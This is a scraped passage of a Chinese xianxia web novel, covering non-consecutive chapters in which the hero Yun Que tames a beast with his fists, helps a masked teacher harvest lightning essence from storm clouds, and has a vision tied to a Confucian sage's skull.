“好像有两具尸体是女的,男人的尸体多一些,在三楼药桶里泡着呢。”木安道。 “我去瞧瞧。” 云缺来到三楼存放尸体的库房。 将十几个大木桶全部翻找一遍,没有穹音的尸体。 “怪了,尸体到底去哪了……” 云缺嘀咕了一句。 既然不是墨老所为,还能有谁对穹音的尸体感兴趣? 一时想不通究竟,云缺散去思绪。 反正有陈洲骅负责调查,刑部天牢重地,丢了尸体肯定能查得出来。 云缺决定今天不回司天监,傍晚有御兽殿先生授课,朔风蝠的线索需要问个清楚。 在学宫吃过早饭,去了趟演武殿的藏书楼。 找到奔雷掌的完整功法,用半个时辰将其完全记下,随后回到西楼尝试修炼。 许闲云亲自施展奔雷掌的过程,云缺历历在目,每一个细节尽数记下。 加上捏出铁片里蕴含的一丝雷电,拥有着修炼奔雷掌的天赋,云缺本以为自己很快会摸到门槛,结果苦练了大半天,别说打出奔雷掌了,掌心连一丝雷光都没有。 “这么难啊,看来得等到雨天再修炼了……” 云缺低语了一句,往窗外看了眼。 巧了。 天边泛起乌云,黑压压一片,看样子今晚有大雨。 刚到下午,云缺修炼了半天,肚子早饿了。 没去饭堂,而是拿出一枚百霞果当午饭。 百霞果号称七品武夫的极品补药,以云缺的饭量,吃一枚果子,一天不饿。 灵果入肚,立刻炸起磅礴的灵气,不断洗刷着肉身本体,而本体的气血之力,又与灵果散发的灵气完美契合,形成一种循环。 第314章 云中寻雷 云缺尴尬了一下。 听课的时候开小差,被先生抓个正着。 没办法,云缺只好走到讲台上,隔着铁笼看了眼妖兽,故作为难的道: “学生愚钝,刚才没太听懂,恐怕难以成功。” 风先生声音沙哑的道: “无妨,即便失败,妖物也伤不到你,进去试试。” 这下云缺没退路了,只好打开铁门,走进铁笼。 云缺的举动,他自己觉得很正常,却把大殿里的其他学子们惊得目瞪口呆。 毫无防备之下,敢与七阶妖兽关在同一个笼子里,这不是找死么! 御兽殿的学子大多属于道门一派,驯化妖兽之前需要做好完全的准备,各种法器护身才行,哪有人空着两只手就去面对妖物的。 风先生站在铁笼旁,目光晃动了一下,没说话。 铁笼内。 见有活物进来,梅花豹立刻支起獠牙,从喉咙里发出凶悍的低吼。 这头妖物被关得时间很长,几天没吃东西,早已饿得发疯,眼珠里遍布血丝。 云缺走进铁笼后,还贴心的回身把门关好。 嘶!嘶!嘶! 云缺背对着妖兽关门的举动,引起大殿内一阵吸冷气的响动。 很多学子额头见汗,紧张不已。 生怕下一刻妖兽扑杀,直接将云缺咬死。 关好门,云缺面对即将暴起的梅花豹,做了个龇牙的举动。 令所有学子震惊的一幕发生了。 那梅花豹弯曲四肢,就要扑杀,结果浑身一僵,不知为何倒退几步,缩在角落里发出低吼。 吼声与之前有些不同。 变得低沉很多,而且听不出凶煞之意,倒好像野狗遇到老虎发出的求饶声。 云缺现在有点为难。 道门驯服妖兽的手段,他实在不会。 无奈之下,云缺请教道: “刚才学生实在没听懂,我用别的手段驯服妖兽行不行?” 风先生缓缓点头,道:“可以。” 得到先生首肯,云缺放松下来,挽起了袖子。 安静的大殿内,响起了奇怪的声音,乒乒乓乓,拳拳到肉。 御兽殿的学子们,嘴巴越张越大,有些人甚至下巴都脱臼了。 这些学子们今天大开眼界。 平日里他们驯服妖兽的办法,是用法术或者法器将妖兽的神魂彻底镇压,令其完全慑服,然后再以精血炼制成封印,刻在妖兽的神魂之内,达到不会反噬的效果,几步下来,才算彻底成功。 但今天云缺动用的手段,实在惊人,用四个字可以概括。 简单粗暴! 一顿老拳,云缺把梅花豹揍得鼻青脸肿,獠牙断了好几颗,最后死狗一样缩在角落不动弹。 云缺这才收手。 打开铁门走到外面,朝着风先生施礼道: “学生完成任务,已经驯服梅花豹。” 说完,云缺归座。 周围的学子们纷纷以一种看怪物的目光望着云缺。 旁边挨着的学子都在往远处挪凳子,想离云缺远点。 徒手暴打七阶妖兽,这是什么人呐! 太凶了吧! 风先生看了眼奄奄一息的梅花豹,沉默不语。 身为先生,他也头一次见到用拳头驯服妖兽的学生。 这不是驯服,根本是打服的。 半晌后,风先生道:“今日到此为止,散了吧。” 授课结束。 云缺第一个站起来,奔到讲台旁,拦住要离开的风先生。 “先生,学生有个问题想要请教。”云缺道。 “说。”风先生简短道。 “我想知道有关朔风蝠的消息。”云缺直言道。 不等开口风先生,外面传来沉闷的雷声。 一阵滚雷,连绵不绝,半晌才消散。 乌云低沉,雷音不绝,今晚的雨,不会小。 风先生望向夜空的云层,道: “你所询问的妖类,极其罕见,想知道朔风蝠的消息,需要完成一次任务。” 云缺听得奇怪,问个问题而已,这位风先生居然讨价还价。 “我试试,不知是什么任务。”云缺道。 “随我来。” 风先生走出大殿。 云缺跟在后面,低着头往前走。 一步两步…… 等走出七步之后,云缺忽然一愣。 周围到处是杂草树木,根本不是学宫,而是来到了一座陌生的山顶! 再往远处看,天祈城隐约能看到轮廓,至少在几十里之外。 怎么过来的! 云缺心头暗惊。 凭空挪移的手段,李玄驹就会。 传送阵,云缺又不是没用的。 但李玄驹的传送阵,需要先行刻画法阵,然后人再站上去才行。 而风先生的挪移之法,云缺竟丝毫感觉都没有! 好高深的修为…… 风先生站在山顶,迎着夜风,披上了一件大氅。 大氅很奇怪,十分厚重,底端拖着一条拇指粗细的绳子,显得不伦不类。 云缺看得奇怪,问道: “先生的任务,究竟是什么。” 风先生没说话,抬手间扔出一块巨大的岩石,三丈多高。 岩石落地后,传来轰隆一声闷响。 听得出份量极重! 看到岩石的那一刻,云缺目光晃动了一下。 那不是普通岩石,而是一种特殊的石妖! 从气息判断,至少在五阶程度。 岩石上融出一个孔洞,风先生将绳子穿过去,打了个死结。 天空中再次传来雷鸣,滚滚雷音震耳欲聋。 等雷鸣过后,风先生抬头望天,道: “你的任务很简单,如果我一去不回,你试着将我拽下来,尽力而为即可。” 云缺愣了一下,顺着风先生的目光看去。 天空除了低沉的乌云之外,什么也没有。 “先生要去何处?”云缺不解道。 “云中。”风先生言简意赅。 云缺闻言一惊。 去乌云里! 那不是找死么! 云层的高度,很少有修行者能抵达,飞行法器飞不到那么高,或许法宝可以接近。 云缺听说过高空有罡风,越往高处越凶险。 又不是去看风景,飞那么高,一旦遭遇罡风,即便当时不死,摔下来也会粉身碎骨。 尤其乌云。 云层里是有雷霆的! 云缺诧异了一瞬,很快猜到风先生的目的,问道: “莫非,先生想要去云中寻雷?” 风先生缓缓点头,道: “确切的说,是雷精,今日乌云密集的程度,十年难得一见,云中有机会凝聚出雷电精华。” 云缺没听过雷精,既然如此危险才能采集,定然是天地至宝。 “如果先生在云中遇险,我又拽不下来,后果会怎样。”云缺皱眉问道。 “很简单,我会死于云中,被雷霆粉碎。”风先生语气丝毫不变,仿佛生死对他来说没什么区别。 这下子云缺为难了。 风先生真要有个意外,学宫先生死于面前,自己一个学子,回学宫怎么交代。 “太危险了,先生何必执着于雷精,等下次乌云少点再去寻雷不行么。”云缺规劝道。 “雷精,比我命贵。” 风先生低语中,将一副材质特殊的手套交给云缺,道:“我若出现意外,石妖会动手拽动绳索,这副手套可隔绝雷电之力,你帮着石妖拽绳子即可,如果觉得危险,或者手套破损,你可以一走了之,我之生死,与你无关。” 说罢,风先生展开大氅,双脚离地。 大氅铺展开来,变成巨大的风筝! 风先生居然以放风筝的手段,飞向云层。 云缺站在山顶,抬头看着越飞越高的风先生,大致估算着绳索的长度。 直至过了半晌,绳索绷直。 “差不多三千丈……” 云缺暗暗心惊。 这种高度,五品金身境的武夫掉下来也得摔成肉饼。 轰隆隆……咔嚓!!! 一道闪电在乌云中炸起,耀亮了四周。 “风先生……疯先生还差不多!雷精比命重要?” 云缺大为不解。 实在想不通风先生为了雷精能这么拼命。 站在石妖旁边,云缺心神不宁的等待着。 同一时间。 山脚下有三个家伙正在做着奇怪的事情。 两人,一虎,贼头贼脑的在林间乱找。 不找别的,专门找大树。 找到一棵大树就问一声。 “门六?是你吗?” “门六,吃宵夜了,出来吧你。” “滚出来,我看到你在树里了!” 常威瞎子和萍山君转悠了半天,围住一棵最高的老树上下打量。 “城里没有,门六那孙子到底去哪了,王爷吩咐找他,这怎么找啊,漫山遍野全是树。”常威唉声叹气的道。 “我看这棵树挺像,大当家你瞧,两个枝桠像不像两只手!没准门六就躲在这里,咱们一起喊他试试。”瞎子道。 “喊个屁!老子嗓子都喊哑了,动刀!” 萍山君抄起一把匕首,咔嚓一声扎进树里。 常威和瞎子吓得一哆嗦。 就萍山君这种找人的办法,即便找到门六,估计也是个死的。 看了看大树没动静,三人垂头丧气。 “要下雨了,看样子这雨不小。”瞎子道。 “山上瞧瞧去,没有的话,咱们回城吃宵夜。”常威说着往山顶走。 “我要吃烤猪,两头!”萍山君气呼呼的道。 三人闷头往山顶走的时候,一道闪电从天而降,劈在山顶区域。 山顶。 云缺眼睁睁看着电光顺着绳索从高处落下,咔嚓一声巨响,直接将石妖劈得碎石迸溅。 闪电包裹着绳索,居然源源不断! “抓到雷精了?” 云缺惊疑道。 石妖被劈之后,伸展出两只巨石手臂,死死握住绳索,开始往下拖拽。 这段过程极其艰难。 石妖散发着五阶妖兽的气息,它本体是坚固的岩石,无比沉重,按理说力量极大。 可不知为何,拖拽绳索的速度十分缓慢。 并且在拽绳子的途中,石妖的手臂不断被雷电消磨,以肉眼可见的速度崩裂。 照这么下去,石妖根本拽不回风先生,就得当先被雷电彻底击碎! 云缺带好手套,上去帮忙。 抓住绳索,立刻感受到一股恐怖而狂躁的力量存在。 那是绳索上的雷电之力! 雷电这种力量,云缺并不陌生。 他所斩杀的妖物当中,有些拥有雷电天赋,云缺自己就被电过多次。 武夫肉身强悍,普通妖物的雷电完全能扛得住。 哪怕偶尔被天雷劈一下,以云缺现在的本体也没什么问题。 可是绳索上包裹的雷电之力,十分特殊,云缺动用妖瞳看去,发现雷电深处呈现出暗金之色。 难道是雷精的力量? 云缺一边猜测,一边动用全力往下拽绳子。 速度的确比石妖自己拽的时候要快一些,但有个问题出现。 云缺的手套,正在逐渐融化! 不到一刻钟的时间,云缺不得不松手。 风先生给的隔绝雷霆的手套,被绳索上的雷电之力击碎,变得破破烂烂,无法再用。 这下云缺只剩赤手空拳。 云缺这边一旦松手,石妖的压力倍增,巨大的身躯不断崩裂,已经不足之前的一半大小。 照这么下去,用不了多久,石妖就会彻底碎裂。 云缺抬头看天。 乌云滚滚,看不到风先生的半点影子。 云缺估计如果自己不帮忙的话,风先生很可能永远回不来了。 沉吟了一下,云缺低语道: “月魁姐,我徒手的话,能不能抗住这种程度的雷电之力。” 耳畔中传来冷漠的声音: “别小看姐姐的妖魂融骨,区区雷霆,电不死你。” 有月魁肯定,云缺放心了。 张开双手,嘭一声握住了蕴含雷电的绳索。 握是握住了,云缺整个人开始狂抖,抽筋一样。 云缺在心里大骂,又被月魁给耍了。 电不死你,这句话本就有两层含义,关键点在于其中的死字。 死字音轻,代表着电不死,没关系。 死字音重,那就倒霉了。 刚才月魁说出电不死你的时候,死字明显语气很重。 这时候常威瞎子和萍山君爬上了山顶,一眼看到云缺在奇怪的打摆子。 “是王爷!王爷怎么了,一个人在山顶跳舞?”常威奇怪的道。 “可能城里太闷了,王爷出来散散心,跳跳舞。”瞎子猜测道。 “我看着怎么不对劲呢,他都翻白眼了。”萍山君挠头道。 常威和瞎子终于察觉到情况不对,急忙冲过去想要拉开云缺。 结果两人一接触云缺,立刻也开始狂抖。 萍山君一时没反应过来,憨乎乎的冲过去,随后它也开始打摆子。 冷雨夜。 三人一虎抖个不停,在山顶一起摇摆…… 第315章 你要升天 气机暴起之下,云缺好不容易甩开绳索。 云缺这边松开绳子,常威瞎子和萍山君随之脱离了雷击,纷纷瘫倒在地。 石妖仍在奋力拉拽绳子。 只是身躯比之前小了一大半,看样子用不了多久就会彻底碎裂。 头顶,绳索的另一端始终在云层里,根本看不见风先生的影子。 糟糕…… 云缺紧锁眉峰,风先生凶多吉少,容易死在天上。 救人? 云缺实在打怵。 绳子上的雷霆之力非同小可,太过可怕。 不救的话,风先生怕是下不来了。 “再试试!” 云缺动用了妖力,双眼瞬间转为血红,运转的气机与妖力融合,铺满全身。 如果以妖力还是没办法拉下来绳子,云缺只能回学宫求救,至于这段时间风先生会不会被电死,那就没办法了,只能听天由命。 “过来帮忙!” 云缺低吼一声,身后没动静。 回头一瞧。 常威翻着白眼浑身抽搐,瞎子一个劲的吐白沫,萍山君还好些,仰面朝天倒在地上,嗝一声,吐出个黑烟圈。 云缺无奈之下骂了句饭桶,三个家伙是指望不上了。 当云缺再次握紧绳索,周身立刻被电光包裹。 麻酥酥的感觉,令云缺很不舒服,难以用力。 试了试还行。 动用妖力,果然能抵抗雷电。 随后云缺开始奋力拉拽绳子,与旁边的石妖一起,一点点将绳索从高空收回。 这段过程极其艰难。 云缺感觉到随着绳索收回,来自高空的雷电之力会逐渐增强。 好像绳索顶端的不是风先生,而是绑着一位雷神! 来不及多想,云缺咬牙拉绳子。 连绳索上的雷电都如此恐怖,可想而知在云层里的风先生将遭遇多么可怕的雷霆之力。 云缺甚至有一种预感,等拽到最后,拽下来的是一副白骨。 酥麻的感觉渐渐变成刺痛。 绳索蕴含的雷电开始透过妖力,侵蚀到云缺的双手,那种被雷电击打骨头的痛感,正常人根本无法忍受。 即便是云缺,额头也开始冒冷汗。 绳索在云缺与石妖拼命的拖拽下,一尺一尺的收回。 云层中,隐约能看到风先生的身影。 快了…… 云缺狠狠咬着牙,努力往下拉拽绳子,抓出去的手掌,携带着层层雷电,沉重如山。 嘭! 嘭! 嘭! 云缺一次次的扬起手,一次次的拍出手掌。 这种枯燥而凶险的循环,渐渐衍化为武道。 连云缺自己都没察觉到,当他每一次艰难的拍出手掌,手上的雷电之力便与掌心的气机融合一分。 拍一掌,融一分! 当风先生被拖拽到距离地面百丈高度,绳索上的雷电之力到了一种无比恐怖的程度,一旁的石妖彻底崩裂,化作一地碎石头。 只剩云缺自己。 现在的云缺,进入到一种奇怪的状态。 耳边没有风雷之音,眼瞳里却闪烁着暗淡的电光,抓绳子的速度越来越快,拍出的手掌非但不会被雷电攻击,反而愈发娴熟。 云缺的眼前一片黑暗,唯有一条雷电组成的绳索,他越拽越觉得顺手,下意识的越来越快。 到最后,云缺突然暴喝出声,一把将绳索完全拽了下来。 轰隆隆!!! 沉闷的雷音,炸起在山顶。 雷鸣声,惊醒了云缺。 风先生倒在一旁,不知生死,风筝般的大氅破破烂烂,遍布焦糊。 风先生死死抓着一个小巧的笼子,笼子里跳跃着一团鸭蛋大小的白色光团,表面不断冒着雷弧。 “这就是雷精?” 云缺看了眼光团,急忙来到风先生近前,想要将其搀扶起来看看死没死。 刚抓到风先生的手臂,云缺发现对方开始浑身抽搐,好像被电到了一样。 赶紧把小笼子挪开,放在一旁,云缺又来搀扶风先生。m..m 结果一碰对方,风先生又开始抽筋。 “怎么回事?” 云缺低头看了看自己的双手,随后豁然一惊。 自己的手心里,居然流转着雷光! 不是手心表面,而是皮肤之下! 使劲甩了甩手,雷电还在,出不去。 云缺看了看四周,来到一棵大树近前,把手放在树上。 咔嚓一声! 大树被雷霆炸得四分五裂。 这下云缺懵了,赶紧求援。 “姐啊,我这是咋了?” 耳畔里响起月魁冷漠的声音: “天谴,你要升天了,坏事做太多,一旦做件好事老天都看不过去,收拾收拾东西,等会老天爷来抓你回去当雷公。” “我当雷公,你不成了电母……别逗我了,好姐姐,快点帮忙把雷电弄出去,弟弟害怕呀。”云缺道。 “呦,你还会怕呢,我记得从小到大你从来没怕过,怕字怎么写来着?”月魁语气戏虐的道。 “我怕和青瑶亲热的时候,电到她。”云缺道。 “你脑子里除了钱和女人,还有什么?”月魁愠怒道。 “还有姐姐!我怕伤到姐姐,毕竟姐姐是我的亲人,伤到你,我会难过的。”云缺道。 “口是心非……你身上的不是雷电,而是雷霆精华。”月魁道。 “雷精不是被抓到了么,在笼子里。”云缺诧异道。 “笼子里的只是一半雷精,另一半,被引到你身上了。”月魁道。 云缺恍然大悟,原来自己拽绳子,把雷精拽过来一半! 随后云缺惊疑不定起来,道: “这玩意在我身上,那我会不会有危险?” “有危险的话,你早死了,雷精的力量暂时被妖力封住,伤不到你,近期之内你要想办法把雷电炼化或者驱散,排出体外,否则你会吃不消的。”月魁道。 “排出体外……拉出去,行不行?”云缺道。 “你要是有那个本事,也可以。”月魁道。 “我回去试试,上完茅厕之后,姐姐帮忙看看拉没拉出去。”云缺道。 “信不信我掐死你!”月魁怒道。 “开玩笑嘛,别生气,姐姐说的炼化,难道是真的,我能炼化雷精?”云缺道。 “傻弟弟,你今天运气不错,误打误撞居然引雷入体,要知道雷精可是罕见之物,那是雷电本源,多少修行者求之不得,能不能炼化,看你的造化。”月魁道。 “我哪有什么造化,我的造化就是有个好姐姐!”云缺道。 “哼,油嘴滑舌,今天姐姐心情不错,找个没人的地方,我帮你以雷精锻体,让你的肉身强度更上一层楼。”月魁道。 “我就知道姐姐最好了!”云缺乐呵呵的道。 自从有了妖魂,云缺的医术渐长,尤其治疗晚期公主病这一块,颇有心得。 这时风先生的身体动了动,强撑着爬了起来。 见先生没死,云缺走过去询问道: “先生伤得如何,要不要……紧!!!” 最后的紧字拉出了长音儿。 看到风先生的模样,云缺被吓了一跳。 对方的铁面具碎裂开来,呈现出一张恐怖的面孔。 脸孔上方正常,是个三十多岁的青年模样,普普通通,从鼻孔下边开始,就不是人脸了,而是骷髅! 风先生的下半张脸,几乎血肉尽失,下颏只剩白骨,看起来极其狰狞。 云缺心说天上果然危险,飞一次云端,半张脸没了。 风先生爬起来之后,第一时间查看笼子里的雷精,确定雷精逃不出来,这才盘坐在地,取出两粒灵丹吞服。 缓和了好一阵儿,风先生重新睁开眼。.m 看了看碎裂的石妖,风先生将目光落在云缺身上,道: “今日若没有你帮忙,我必死于云中,我这人从不欠人情,你救我一命,我还你一命。” 一听这话,云缺浑身都不舒服。 凌妙清也说过欠条命,结果怎么样,杀你的时候还你这条命,等同放屁一样,毛用没有。 还不如直接给钱来得实在。 既然先生这么说了,云缺只好客气道: “先生遇险,当学生的哪能不闻不问,尽点微薄之力而已,先生不必在意。” 风先生摆了摆手,道: “欠人情,我不舒服,我帮你杀个人,取对方之命还这份人情,想要杀谁,你自己选,到时候告诉我即可。” 云缺听罢眼前一亮。 这种欠条命的归还方式,虽然古怪了一些,但关键是够实在! “先生所言当真?我想杀谁,你一定会出手?”云缺问道。 “一言既出,驷马难追,我承诺的事,向来说到做到。”风先生道。 “就这么定了!先生到时候可别反悔,我的仇家都很强的。”云缺道。 “杀不掉,我便战死,一条烂命而已,算什么大事。”风先生道。 云缺从对方的言谈中,听出了一种悲意,一种心灰意冷。 看了看对方紧紧抱在怀里的笼子,云缺问道: “不知先生寻找雷精,用来炼丹还是炼器?” 风先生低头望着笼子里的雷精,目光晃动,低语道: “治病……” 说完治病二字,风先生站起身,大氅摆动间,整个人消失得无影无踪。 “治病?” 云缺听得莫名其妙,想不通什么怪病居然需要雷精这种奇物来治疗。 尽管想不通究竟,云缺却判断出风先生枯骨般的下颚,绝非这次所伤,应该是以前的旧伤。 云缺此时心情大好。 雷精锻体,这可是天大的机缘! 若能成功,本体将融入雷电本源之力,到时候修炼奔雷掌一类的雷电功法轻而易举。 比雷精更大的机缘,是风先生的承诺。 云缺相当于多了一份威力恐怖的底牌! 云缺的敌人可不少。 邵武国的强者,楚红莲背后的‘他们’,加上很可能隐在幕后诈死的魏墨城,这些强大的存在,云缺一个人难以抗衡。 学宫先生的一次出手,而且还是必杀的出手,对云缺来说太过珍贵。 不再多想,云缺急匆匆赶回学宫准备锻体。 云缺走后不久,压抑了多时的大雨终于倾盆而落。 冰冷的雨水,浇醒了山顶的三个倒霉蛋。 常威睁开眼,茫然道:“我是谁!” 瞎子爬起来,迷茫道:“我在哪!” 萍山君口眼歪斜,摇摇晃晃抬起硕大的虎头:“咿呀咿!咿呀咿呀咿!” 常威和瞎子被电得迷迷瞪瞪,忘了刚才发生了什么,萍山君则被电得忘了怎么说人话…… 壹趣文学为你提供最快的斩妖更新,第315章 你要升天免费阅读。 第317章 山顶的风景 蹴鞠这种游戏,云缺儿时经常玩耍。 住在斩妖司的时候,母亲会陪着一起踢球。 之后云缺住在青狐山,只能一个人踢,少了很多乐趣,但还是乐此不疲。 因为第一个鞠球,是母亲送给自己的,云缺记得很清楚,那是一个用杂草编织的小球,很软,对当时年幼的云缺来说十分适合,即便力气用得很大也伤不到脚。 云缺的脚力,其实很强。 斩妖的时候通常用刀,只是平常没多少机会施展而已。 十岁的时候,云缺已经能踢石头了,不是单纯的踢着玩,而且是从山脚直接踢到山顶的那种。 浮萍山附近碎石很多,云缺经过的时候都会踢上一阵子。 专门往山顶踢。 以至于那几年的时光,萍山君总在骂老天,没事儿下什么流星雨。 文殿之内,踢着头骨的云缺,恍惚间回到了童年。 四周是青草地,蔚蓝的天空漂浮着几朵白云,风和日丽,鸟语花香,天气极好。 小小的云缺,在草地上踢着一个竹子编织的鞠球,玩得不亦乐乎。 踢累了,便往草地上一倒,一边打盹一边晒太阳。 耳边是知了的阵阵叫声,慵懒而惬意。 云缺闭着眼,觉得无比舒适,内心一片平静,仿佛在这片天地间没有任何烦恼,一切的烦心事统统被忘记。 忘记了岁月,忘记了忧愁,忘记了时间,忘记了自己…… 这种空灵的感觉,让云缺久久不愿醒来,直至身旁响起一道陌生的声音。 “踢得不错。” 小云缺睁开眼,看到旁边坐着一位中年男子,四旬上下的年纪,五官端正,穿着一身淡蓝色的儒衫,头顶戴着普通的儒冠。 看一眼就知道,这位肯定是个教书先生。 云缺一骨碌坐了起来,道: “先生也会踢球?” 中年文士微笑道:“儿时经常以蹴鞠为乐,强身健体,我踢得还不错。” 小云缺一听来了精神,道: “那咱们比一比,看谁踢得好!” 中年文士笑道:“可以。” 小云缺摩拳擦掌,道:“我去画个门,谁先踢进去三个球,谁赢!” “门无内外,进门与出门又有何区别。”中年文士抬手指向远处的一座高山,道:“要比,就比些难的,谁把鞠球踢到山顶,谁赢。” “好哇!往山顶踢球我最拿手了!” 小云缺信心十足,狡黠道:“既然是比试,得有点彩头才行!先生若赢了,这球送你,我要是赢了,先生送我点什么呢。” 中年文士莞尔一笑,道:“你若赢了,便送你一场造化。” 小云缺撇了撇嘴。 心说这先生真抠门,连个球都输不起,造化那东西不就是哄小孩子的么。 很快,小云缺不再关注彩头,因为比试的过程更有趣。 两人来到山下,被一条河拦住了去路。 河面很宽,奇怪的是河水纹丝不动,平静得毫无波澜。 河水虽然平静,但水里面有东西。 四头奇怪的野兽。 一头浑身青色的水牛,一头浮在水面的巨鳄,一只高大的怪蟾,一头浑身雷光的大象。 小云缺看着河里的野兽,十分好奇,想不通种类不同的四种野兽怎么会聚集在一起。 中年文士站在河边,道: “你要如何过河呢。” 小云缺道:“游过去!水不深,很快即可抵达对岸。” 中年文士道:“河里的野兽并非善类,惊扰了它们,会遭到攻击。” 小云缺道:“好办,全部斩了,这活儿我拿手!” 中年文士点了点头,抬手指向对岸,道:“河里的野兽,你可以斩杀,那么对岸的危险,你要如何应对。” 小云缺顺着中年文士的指点望去,发现河对岸有一头庞大的石头怪物,正在躁动不安的走来走去。 小云缺道:“照砍不误!我有刀的,我的刀……” 小云缺说话间低头一看,自己手里的确有刀,却是把很普通的砍柴刀,刀刃上遍布豁口,杀牛都费劲,更别说砍石头了。 小云缺为难起来,一时想不出好办法。 中年文士微笑道: “登山的路,只有一条,但登山的办法,未必只有一个,你可以仔细想一想,河对面的石头巨人,为何在徘徊不定,水里的野兽,又为何留在河里。” 小云缺坐在河边,望着河水与高山,皱着小小的眉头陷入沉思。 中年文士也坐在一旁,面带微笑。 如此画面,犹如先生给学生出了一道难题,学生在努力思考,先生在安静等待。 …… 天祈学宫,事务堂。 宋道理回来后,越想越生气。 他能容忍云缺的调皮,却无法容易云缺对儒圣遗骸不敬。 身为儒家子弟,在宋道理的眼里,儒圣便是天,是世间道理的源头,是不可亵渎的圣人,平日里谁若敢在他面前羞辱儒圣一句,他绝对会拼命。 宋道理是一位虔诚又固执的儒修,对儒圣的敬重,超过了自己的生命。 大祭酒能容忍云缺,宋道理实在忍不下去,在屋子里坐立不安,最后决定重返文殿。 他要提醒云缺,那是儒圣遗骸,不是玩具,不能触碰更不能当球踢。 宋道理气呼呼的再次来到文殿。 透过后窗看去,随后宋道理整个人呆若木鸡。 他看到云缺正盘坐在大殿中心,闭着眼睛,对面,金色头骨悬浮半空,位置与云缺的头部齐平,虽然没有身体,但看得出也是坐姿。 呆愣了半晌,宋道理转身就跑,跌跌撞撞冲进大祭酒的木屋,门也忘了敲。 秦蒙正盘坐在木床,闭目打坐,看到宋道理慌张的样子,立刻皱了皱眉。 宋道理可是学正之首,最很稳重的一个人,今天居然如此惊慌。 “出什么事了。”秦蒙问道。 “显圣!显圣了!”宋道理惊喜交加的道:“大祭酒!儒圣头骨自行漂浮,圣人显灵了啊!” 秦蒙呆滞了一瞬,跳下木床,鞋都忘了穿,与宋道理赶到文殿外。 隔着小窗,两人看到云缺与漂浮的金色头骨。 大祭酒浑浊的双眸在此刻变得清澈起来,神色中透着紧张与惊喜,好半晌没说话。 最后秦蒙轻轻将后窗关好,示意宋道理远离此地。 到了远处,宋道理紧张的道: “圣人会不会降下神谕?云缺年纪太小,一旦疏忽,容易错过这次千载难逢的机缘啊!” 秦蒙望着头顶的天空,忽然笑了起来,道: “我是第九代学宫大祭酒,前面八位前辈,毕生都在等待着圣人的消息,可是几千年过去了,圣人从未给学宫留下过只言片语,只有后山的八字圣言。” “每一位大祭酒都想知道,圣人的脚步,最终停留在何处,沧海到底有没有尽头?彼岸到底有没有鲜花?天祈学宫因何建立在云州角落?学宫存在的意义难道只是传授学问而不问世事?” “我们有太多疑问,世间有太多未解之谜,数千年来,圣人遗骨从未自行移动,今天的确是天大的机缘,让我们有机会窥视这方天地,但你要记住,这份机缘是云缺的,不是学宫的,更不是我们的。” 大祭酒这一番话,让宋道理恢复了冷静。 宋道理回头望向远处的文殿,目光中的灼热渐渐消失,最后被释然所取代。 他明白了大祭酒的教诲。 儒圣遗骨,因云缺而动,旁人即便强行插手,也改变不了任何结果,唯一的改变,只是破坏云缺的这场机缘而已。 “学生懂了,机缘天定,不为人力所更改,该是谁的,便是谁的。” 宋道理呼出一口浊气,道:“希望云缺这次,能有所感悟。” 宋道理与秦蒙等待在文殿远处,不敢打扰,两人都期待着云缺这次的机缘能收获颇丰,对修炼一途有更深感悟。 河边。 小云缺的确有所感悟。 他想通了一件事。 “我想到办法了!”小云缺跳了起来,信心满满。 “说说看,你的办法是什么。”中年文士微笑道。 “我们不去山上玩了,就在草地上踢球!把比试改为看谁踢得更远!”小云缺道。 中年文士笑道: “你很聪明,明白知难而退的道理,很多人都认为知难而上才是正理,殊不知有时候退一步,才会海空天空。” 中年文士没有任何遗憾的神色,始终带着平静的微笑,站起身与云缺远离河畔。 走了一段路,云缺站住了,回头看向河对岸的山顶,疑惑道: “先生去没去过山顶,山顶有什么?” “去过,有风景。”中年文士道。 “好看么?”云缺好奇道。 “有好看的风景,也有难看的风景。”中年文士道。 “为什么风景还有好看难看之分?山顶的风景,不是只有一种么。”云缺不解道。 “登山之路,你会看到什么。”中年文士道。..m “阶梯,树木,花草,也许还有奔跑的松鼠!”云缺道。 “你觉得这些风景,好看么。”中年文士道。 “挺好看啊!”云缺道。 中年文士摇了摇头,道:“你仔细看,阶梯旁边有蚁穴,树木之上爬满小虫,花草之间埋着腐烂的尸骨,奔跑的松鼠背后,是一只猎食的毒蛇,这样的风景,还好看么。” 小云缺想了想,道: “不好看,可是为什么风景会不一样呢,明明是很好的风景,怎么会变得难看起来?” 中年文士道:“同样的风景,从不同的角度去看,便是截然不同的模样,世间风景皆如此,你要如何欣赏,才不枉此生呢。” 小云缺皱着小小的眉头,想了好久,忽然明悟道: “看远处!只要我一直看远处的风景,就看不到近处的蚁穴和小虫,也看不到尸骨和毒蛇,这样一来风景就会变得美好!只有忽略脚下的羁绊,我才会永远走在寻找风景的路上!” 中年文士微笑着点头,道: “很好,看来你明白了风景的道理,是个聪慧的孩子,我们去草地上,踢球罢。” 小云缺没走,而是始终望向河对岸的高山,目光渐渐变得坚定起来,道: “先生,我想去山顶。” “为何非要去山顶,河里有野兽,对岸有怪物,去山顶的路很难走,既然我们比试踢球,草地也一样。”中年文士道。 小云缺昂首道: “我要去山顶看风景!既然先生到过山顶,我也能爬上去!” “山顶很危险,你也许会死在途中,如此危险的风景,你还想看么。”中年文士道。壹趣妏敩 小云缺傲然道: “七叔教过我,知者不惑,仁者不忧,勇者不惧!别看我小,我可是武夫!无所畏惧的武夫!” 中年文士平和的目光中泛起一丝异彩,微笑着颔首道: “孺子,可教。” 壹趣文学为你提供最快的斩妖更新,第317章 山顶的风景免费阅读。 第319章 女人真难伺候 识海之内,多了些东西。 呈现在云缺眼前的,是一座恢宏大殿,顶天立地! 高大的殿门闪烁着金色光华,犹如烈日般刺眼,大门紧闭。 在这座大殿面前,云缺的元神之躯显得渺小如蝼蚁,需要仰头才能看清大殿全貌。 “这到底是什么?怎么会有一座殿宇?” 云缺惊奇的看向妖魂,道:“你弄出来的?” 月魁庞大的妖躯在大殿面前显得一样渺小,懊恼道: “你的识海,我无法具化殿宇,明明是你自己弄出来的!这座大殿的气息很奇特,我不舒服,赶紧弄走!” “不是我啊!我的识海有弊端,至多弄出来几滴黑眼泪,你瞧。” 云缺为了证明大殿不是自己具化而出,特意想象着眼泪。 随后哗啦声大起。 从云缺的眼皮里冲出来两条大河,河水很快蔓延过云缺与月魁。 泡在水里,云缺都惊了。 之前费尽全力,多说挤出两滴眼力,怎么现在直接能挤出两条河来! 咕噜噜,云缺一张嘴,吐出一串气泡。 月魁漂浮在水里,龇起獠牙。 云缺立刻想象着收走河水,果然一个念头之后,大河消失不见。 “还说不是你!快点把那座破房子收走!”月魁愤愤的道。 